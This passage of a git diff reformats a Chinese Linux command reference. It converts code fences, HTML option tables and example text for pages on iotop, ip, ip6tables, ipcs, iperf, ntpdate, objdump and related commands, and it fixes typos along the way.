向服务设备发出读取请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间 +- w_await: 向服务设备发出写请求的平均时间(单位:毫秒)。包括请求入队的时间以及设备处理请求的时间 +- %util:一秒中有百分之多少的时间用于 I/O 操作,或者说一秒中有多少时间 I/O 队列是非空的。如果 %util 接近 100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘可能存在瓶颈 +- %svctm:平均每次设备 I/O 操作的服务时间 (毫秒)。一般要小于 await (因为同时等待的请求的等待时间被重复计算了),svctm 的大小一般和磁盘性能有关,CPU/内存的负荷也会对其有影响,请求过多也会间接导致 svctm 的增加。await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式。如果 svctm 比较接近 await,说明 I/O 几乎没有等待时间;如果 await 远大于 svctm,说明 I/O 队列太长,应用得到的响应时间变慢,如果响应时间超过了用户可以容许的范围,这时可以考虑更换更快的磁盘,调整内核 elevator 算法,优化应用,或者升级 CPU diff --git a/command/iotop.md b/command/iotop.md index 0ad7de359e4..916e834b548 100644 --- a/command/iotop.md +++ b/command/iotop.md @@ -1,6 +1,6 @@ iotop === - + 用来监视磁盘I/O使用状况的工具 ## 补充说明 @@ -9,39 +9,38 @@ iotop iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。 -### 安装 +### 安装 **Ubuntu** -``` +```shell apt-get install iotop ``` **CentOS** -``` +```shell yum install iotop ``` **编译安装** -``` +```shell wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz tar zxf iotop-0.4.4.tar.gz python setup.py build -python setup.py install - +python setup.py install ``` -### 语法 +### 语法 -``` +```shell iotop(选项) ``` -### 选项 +### 选项 -``` +```shell -o:只显示有io操作的进程 -b:批量显示,无交互,主要用作记录到文件。 -n NUM:显示NUM次,主要用于非交互式模式。 @@ -59,11 +58,11 @@ iotop(选项) 5. a:显示累积使用量。 6. q:退出。 -### 实例 +### 实例 直接执行iotop就可以看到效果了: -``` +```shell Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s TID PRIO USER DISK READ DISK WRITE SWAPIN IO> command 1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % init [3] @@ -81,4 +80,3 @@ Total DISK read: 0.00 B/s | Total DISK write: 0.00 B/s ``` - \ No newline at end of file diff --git a/command/ip.md b/command/ip.md index 6bed4eec857..a4112e81d1a 100644 --- a/command/ip.md +++ b/command/ip.md @@ -7,17 +7,17 @@ ip **ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。 -### 语法 +### 语法 -``` -ip(选项)(参数) +```shell +ip(选项)(对象) Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename ``` -### 选项 +### 对象 -``` +```shell OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm | netns | l2tp | macsec | tcp_metrics | token } @@ -31,9 +31,9 @@ OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | -r:显示主机时,不使用IP地址,而使用主机的域名。 ``` -### 参数 +### 选项 -``` +```shell OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | -h[uman-readable] | -iec | -f[amily] { inet | inet6 | ipx | dnet | bridge | link } | @@ -47,19 +47,19 @@ OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | help:显示网络对象支持的操作命令的帮助信息。 ``` -### 实例 +### 实例 -```bash -ip link show # 显示网络接口信息 -ip link set eth0 upi # 开启网卡 +```shell +ip link show # 显示网络接口信息 +ip link set eth0 up # 开启网卡 ip link set eth0 down # 关闭网卡 ip link set eth0 promisc on # 开启网卡的混合模式 -ip link set eth0 promisc offi # 关闭网卡的混个模式 +ip link set eth0 promisc offi # 关闭网卡的混合模式 ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 ip link set eth0 mtu 1400 # 设置网卡最大传输单元 ip addr show # 显示网卡IP信息 -ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1 -ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址 +ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 +ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 ip route show # 显示系统路由 ip route add default via 192.168.1.254 # 设置系统默认路由 @@ -73,7 +73,7 @@ ip route delete 192.168.1.0/24 dev eth0 # 删除路由 **用ip命令显示网络设备的运行状态** -``` +```shell [root@localhost ~]# ip link list 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 @@ -85,7 +85,7 @@ ip route delete 192.168.1.0/24 dev eth0 # 删除路由 **显示更加详细的设备信息** -``` +```shell [root@localhost ~]# ip -s link list 1: lo: mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 @@ -109,7 +109,7 @@ ip route delete 192.168.1.0/24 dev eth0 # 删除路由 **显示核心路由表** -``` +```shell [root@localhost ~]# ip route list 112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130 10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81 @@ -121,7 +121,7 @@ default via 112.124.15.247 dev eth1 **显示邻居表** -``` +```shell [root@localhost ~]# ip neigh list 112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE 10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE @@ -129,8 +129,8 @@ default via 112.124.15.247 dev eth1 **获取主机所有网络接口** +```shell +ip link | grep -E '^[0-9]' | awk -F: '{print $2}' ``` -ip link | grep ^[0-9] | awk -F: '{print $2}' -``` - + diff --git a/command/ip6tables-restore.md b/command/ip6tables-restore.md index 29cefd16f1a..7c132aca313 100644 --- a/command/ip6tables-restore.md +++ b/command/ip6tables-restore.md @@ -1,24 +1,23 @@ ip6tables-restore === - + 还原ip6tables表 ## 补充说明 **ip6tables-restore命令** 用来还原ip6tables表。 -### 语法 +### 语法 -``` +```shell ip6tables-restore(选项) ``` -### 选项 +### 选项 -``` +```shell -c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值; -t:指定要还原的表的名称。 ``` - \ No newline at end of file diff --git a/command/ip6tables-save.md b/command/ip6tables-save.md index fdea83a254c..8d63c6786dd 100644 --- a/command/ip6tables-save.md +++ b/command/ip6tables-save.md @@ -1,24 +1,23 @@ ip6tables-save === - + 保存ip6tables表配置 ## 补充说明 **ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。 -### 语法 +### 语法 -``` +```shell ip6tables-save(选项) ``` -### 选项 +### 选项 -``` +```shell -c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值; -t:指定要保存的表的名称。 ``` - \ No newline at end of file diff --git a/command/ip6tables.md b/command/ip6tables.md index 9ae53d65232..cc138a3b31a 100644 --- a/command/ip6tables.md +++ b/command/ip6tables.md @@ -1,21 +1,21 @@ ip6tables === - + linux中防火墙软件 ## 补充说明 **ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。 -### 语法 +### 语法 -``` +```shell ip6tables(选项) ``` -### 选项 +### 选项 -``` +```shell -t<表>:指定要操纵的表; -A:向规则链中添加条目; -D:从规则链中删除条目; @@ -35,11 +35,11 @@ ip6tables(选项) -c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。 ``` -### 实例 +### 实例 在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置: -``` +```shell ip6tables -nl --line-numbers ``` @@ -47,13 +47,13 @@ ip6tables -nl --line-numbers 使用编辑器编辑`/etc/sysconfig/ip6tables`文件: -``` +```shell vi /etc/sysconfig/ip6tables ``` 可能会看到下面的默认 ip6tables 规则: -``` +```shell *filter :INPUT accept [0:0] :FORWARD ACCEPT [0:0] @@ -79,7 +79,7 @@ COMMIT 要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则: -``` +```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT ``` @@ -87,7 +87,7 @@ COMMIT 要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则: -``` +```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT -A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT ``` @@ -96,26 +96,26 @@ COMMIT 要开启 443 端口,在 COMMIT 一行之前添加如下规则: -``` +```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT ``` 要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则: -``` +```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT ``` 对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行: -``` +```shell -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited COMMIT ``` 改为: -``` +```shell -A RH-Firewall-1-INPUT -j LOG -A RH-Firewall-1-INPUT -j DROP COMMIT @@ -123,19 +123,19 @@ COMMIT 保存并关闭该文件。然后重新启动 ip6tables 防火墙: -``` +```shell # service ip6tables restart ``` 然后重新查看 ip6tables 规则,可以看到如下所示的输出: -``` +```shell # ip6tables -vnL --line-numbers ``` 输出示例: -``` +```shell Chain INPUT (policy ACCEPT 0 packets, 0 bytes) num pkts bytes target prot opt in out source destination 1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0 @@ -172,7 +172,7 @@ IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 下面是一些比较常见的 ipv6-icmp 配置实例: -``` +```shell :ICMPv6 - [0:0] # Approve certain ICMPv6 types and all outgoing ICMPv6 # http://forum.linode.com/viewtopic.php?p=39840#39840 @@ -203,4 +203,3 @@ IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 ``` - \ No newline at end of file diff --git a/command/ipcalc.md b/command/ipcalc.md index 5f3517c70cf..fd3e334b2ef 100644 --- a/command/ipcalc.md +++ b/command/ipcalc.md @@ -1,21 +1,21 @@ ipcalc === - + 简单的IP地址计算器 ## 补充说明 **ipcalc命令** 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。 -### 语法 +### 语法 -``` +```shell ipcalc(选项) ``` -### 选项 +### 选项 -``` +```shell -b:由给定的IP地址和网络掩码计算出广播地址; -h:显示给定UP地址所对应的主机名; -m:由给定的IP地址计算器网络掩码; @@ -25,9 +25,9 @@ ipcalc(选项) --help:显示帮助信息。 ``` -### 实例 +### 实例 -``` +```shell [root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0 PREFIX=24 @@ -48,4 +48,3 @@ NETWORK=192.168.2.0 ``` - \ No newline at end of file diff --git a/command/ipcrm.md b/command/ipcrm.md index 53b57cc4e55..7312a43fb5a 100644 --- a/command/ipcrm.md +++ b/command/ipcrm.md @@ -1,21 +1,21 @@ ipcrm === - + 删除消息队列、信号集、或者共享内存标识 ## 补充说明 **ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。 -### 语法 +### 语法 -``` +```shell ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ] ``` -### 选项 +### 选项 -``` +```shell -m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。 -M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。 -q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。 @@ -26,13 +26,12 @@ ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q Message msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。 -### 示例 +### 示例 如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入: -``` +```shell ipcrm -m 18602 ``` - \ No newline at end of file diff --git a/command/ipcs.md b/command/ipcs.md index 011450bd677..180b656b255 100644 --- a/command/ipcs.md +++ b/command/ipcs.md @@ -1,38 +1,63 @@ ipcs === - -分析消息队列共享内存和信号量 + +分析消息队列共享内存和信号量 ## 补充说明 **ipcs命令** 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。 -### 语法 +### 语法 -``` +```shell ipcs(选项) ``` -### 选项 +### 选项 +#### 资源选项 + +```shell +-a, --all 显示全部(默认值) +-q, --queues 消息队列 +-m, --shmems 共享内存 +-s, --semaphores 信号量 ``` --a:显示全部可显示的信息; --q:显示活动的消息队列信息; --m:显示活动的共享内存信息; --s:显示活动的信号量信息。 + +#### 输出选项 + +```shell +-t, --time 显示最后一次操作时间 +-p, --pid 显示创建者和最后一次操作者的PID +-c, --creator 显示创建者和拥有者的 userid, groupid +-l, --limits 显示对资源的限制 +-u, --summary 显示当前状态摘要 +--human 以友好的方式显示大小(eg: 500K) +-b, --bytes 以字节为单位显示大小(仅影响`-l`选项) ``` -### 实例 +#### 通用选项 +```shell +-i, --id 显示指定ID的资源 +-h, --help 显示帮助文档并退出 +-V, --version 显示版本信息并退出 ``` + +### 实例 + +```shell ipcs -a ------ Shared Memory Segments -------- -key shmid owner perms bytes nattch status -0x7401833d 2654208 root 600 4 0 -0x00000000 3145729 root 600 4194304 9 dest -0x7401833c 2621442 root 600 4 0 +key shmid owner perms bytes nattch status +0x7401833d 2654208 root 600 4 0 +0x00000000 3145729 root 600 4194304 9 dest +0x7401833c 2621442 root 600 4 0 0xd201012b 3080195 root 600 1720 2 ``` +### 相关命令 + +* `ipcrm`: 删除 IPC 资源 +* `ipcmk`: 创建 IPC 资源 - \ No newline at end of file diff --git a/command/iperf.md b/command/iperf.md index daa5c2ca3d1..bf0428e7a26 100644 --- a/command/iperf.md +++ b/command/iperf.md @@ -1,6 +1,6 @@ iperf === - + 网络性能测试工具 ## 补充说明 @@ -11,11 +11,11 @@ iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较 Linux版本下载地址:http://code.google.com/p/iperf/downloads/list -### 安装iperf +### 安装iperf 对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装: -``` +```shell gunzip -c iperf-.tar.gz | tar -xvf - cd iperf- ./configure @@ -23,319 +23,84 @@ make make install ``` -### 选项 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令行选项描述
客户端与服务器共用选项
-f, --format [bkmaBKMA]格式化带宽数输出。支持的格式有: -'b' = bits/sec 'B' = Bytes/sec -'k' = Kbits/sec 'K' = KBytes/sec -'m' = Mbits/sec 'M' = MBytes/sec -'g' = Gbits/sec 'G' = GBytes/sec -'a' = adaptive bits/sec 'A' = adaptive Bytes/sec -自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 -注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
-i, --interval #设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
-l, --len #[KM]设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
-m, --print_mss输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
-p, --port #设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
-u, --udp使用UDP方式而不是TCP方式。参看-b选项。
-w, --window #[KM]设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
-B, --bind host绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
-C, --compatibility与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
-N, --nodelay设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
-V (from v1.6 or higher)绑定一个IPv6地址。 -服务端:$ iperf -s –V -客户端:$ iperf -c -V -注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
服务器端专用选项
-s, --serverIperf服务器模式
-D (v1.2或更高版本)Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
-R(v1.2或更高版本,仅用于Windows)卸载Iperf服务(如果它在运行)。
-o(v1.2或更高版本,仅用于Windows)重定向输出到指定文件
-c, --client host如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
-P, --parallel #服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
客户端专用选项
-b, --bandwidth #[KM]UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。
-c, --client host运行Iperf的客户端模式,连接到指定的Iperf服务器端。
-d, --dualtest运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。
-n, --num #[KM]传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。
-r, --tradeoff往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。
-t, --time #设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。
-L, --listenport #指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。
-P, --parallel #线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。
-S, --tos #出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。 -例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是: -IPTOS_LOWDELAY minimize delay 0x10 -IPTOS_THROUGHPUT maximize throughput 0x08 -IPTOS_RELIABILITY maximize reliability 0x04 -IPTOS_LOWCOST minimize cost 0x02
-T, --ttl #出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。
-F (from v1.2 or higher)使用特定的数据流测量带宽,例如指定的文件。 -$ iperf -c -F
-I (from v1.2 or higher)与-F一样,由标准输入输出文件输入数据。
杂项
-h, --help显示命令行参考并退出 。
-v, --version显示版本信息和编译信息并退出。
- -### 实例 +### 选项 + +```bash +-f, --format \[bkmaBKMA] # 格式化带宽数输出。支持的格式有: + # 'b' = bits/sec + # 'B' = Bytes/sec + # 'k' = Kbits/sec + # 'K' = KBytes/sec + # 'm' = Mbits/sec + # 'M' = MBytes/sec + # 'g' = Gbits/sec + # 'G' = GBytes/sec + # 'a' = adaptive bits/sec + # 'A' = adaptive Bytes/sec 自适应格式是kilo-和mega-二者之一。 + # 除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。 + # 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。 + # 通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。 + # 如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。 +-i, --interval # # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。 +-l, --len #\[KM] # 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。 +-m, --print\_mss # 输出TCP MSS值(通过TCP\_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况 +-p, --port # # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。 +-u, --udp # 使用UDP方式而不是TCP方式。参看-b选项。 +-w, --window #\[KM] # 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。 + # 对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。 +-B, --bind host # 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说, + # 这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。 + # 使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。 +-C, --compatibility # 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。 + # 某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。 +-M, --mss # ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。 +-N, --nodelay # 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。 +-V (from v1.6 or higher) # 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。 +``` + +服务器端专用选项 + +```bash +-s, --server # Iperf服务器模式 +-D (v1.2或更高版本) # Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。 +-R(v1.2或更高版本,仅用于Windows) # 卸载Iperf服务(如果它在运行)。 +-o(v1.2或更高版本,仅用于Windows) # 重定向输出到指定文件 +-c, --client host # 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。 +-P, --parallel # # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。 +``` + +客户端专用选项 + +```bash +-b, --bandwidth #\[KM] # UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。 +-c, --client host # 运行Iperf的客户端模式,连接到指定的Iperf服务器端。 +-d, --dualtest # 运行双测试模式。这将使服务器端反向连接到客户端, + # 使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。 + # 这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。 +-n, --num #\[KM] # 传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。 + # -n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。 +-r, --tradeoff # 往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口), + # 反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。 +-t, --time # # 设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。 +-L, --listenport # # 指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。 +-P, --parallel # # 线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。 +-S, --tos # # 出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数, + # 或以"0"开始的8进制数或10进制数。 例如,16进制'0x10' = 8进制'020' = 十进制'16'。 + # TOS值1349就是: IPTOS\_LOWDELAY minimize delay 0x10 IPTOS\_THROUGHPUT maximize + # throughput 0x08 IPTOS\_RELIABILITY maximize reliability 0x04 IPTOS\_LOWCOST minimize cost 0x02 +-T, --ttl # # 出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。 +-F (from v1.2 or higher) # 使用特定的数据流测量带宽,例如指定的文件。 $ iperf -c -F +-I (from v1.2 or higher) # 与-F一样,由标准输入输出文件输入数据。 +``` + +杂项 + +```bash +-h, --help # 显示命令行参考并退出 。 +-v, --version # 显示版本信息和编译信息并退出。 +``` + +### 实例 带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。 @@ -343,25 +108,25 @@ $ iperf -c -F
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-aKeyid使用 Keyid 来认证全部数据包。
-b通过调用 settimeofday 子例程来增加时钟的时间。
-d指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
-eAuthenticationDelay指定延迟认证处理的时间秒数。
-kKeyFile当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
-oVersion当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
-pSamples指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
-s指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
-tTimeOut指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-u指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
- +### 选项 + +```shell +-aKeyid # 使用 Keyid 来认证全部数据包。 +-b # 通过调用 settimeofday 子例程来增加时钟的时间。 +-d # 指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。 +-eAuthenticationDelay # 指定延迟认证处理的时间秒数。 +-kKeyFile # 当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。 +-oVersion # 当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。 +-pSamples # 指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。 +-s # 指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。 +-tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。 +-u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。 +-q # 仅供查询,不设置时间。 +``` - \ No newline at end of file diff --git a/command/ntsysv.md b/command/ntsysv.md index aef457e025d..d734a171f63 100644 --- a/command/ntsysv.md +++ b/command/ntsysv.md @@ -7,28 +7,28 @@ ntsysv **ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。 -### 语法 +### 语法 -``` +```shell ntsysv(选项) ``` -### 选项 +### 选项 -``` +```shell --leve:指定运行等级; --back:在互动式界面里,显示Back钮,而非cancel钮。 ``` -### 实例 +### 实例 输入ntsysv命令后,出现一个交互式的管理菜单,如下: -``` +```shell !ntsysv ``` 使用空格键选择或者取消选项! - + diff --git a/command/objdump.md b/command/objdump.md index 3fd1fd94430..45075ad6966 100644 --- a/command/objdump.md +++ b/command/objdump.md @@ -1,53 +1,46 @@ objdump === - + 显示二进制文件信息 ## 补充说明 **objdump命令** 是用查看目标文件或者可执行的目标文件的构成的gcc工具。 -### 选项 +### 选项 -``` ---archive-headers --a -显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 +```shell +-a --archive-headers +# 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 --b bfdname ---target=bfdname -指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: +-b bfdname --target=bfdname +# 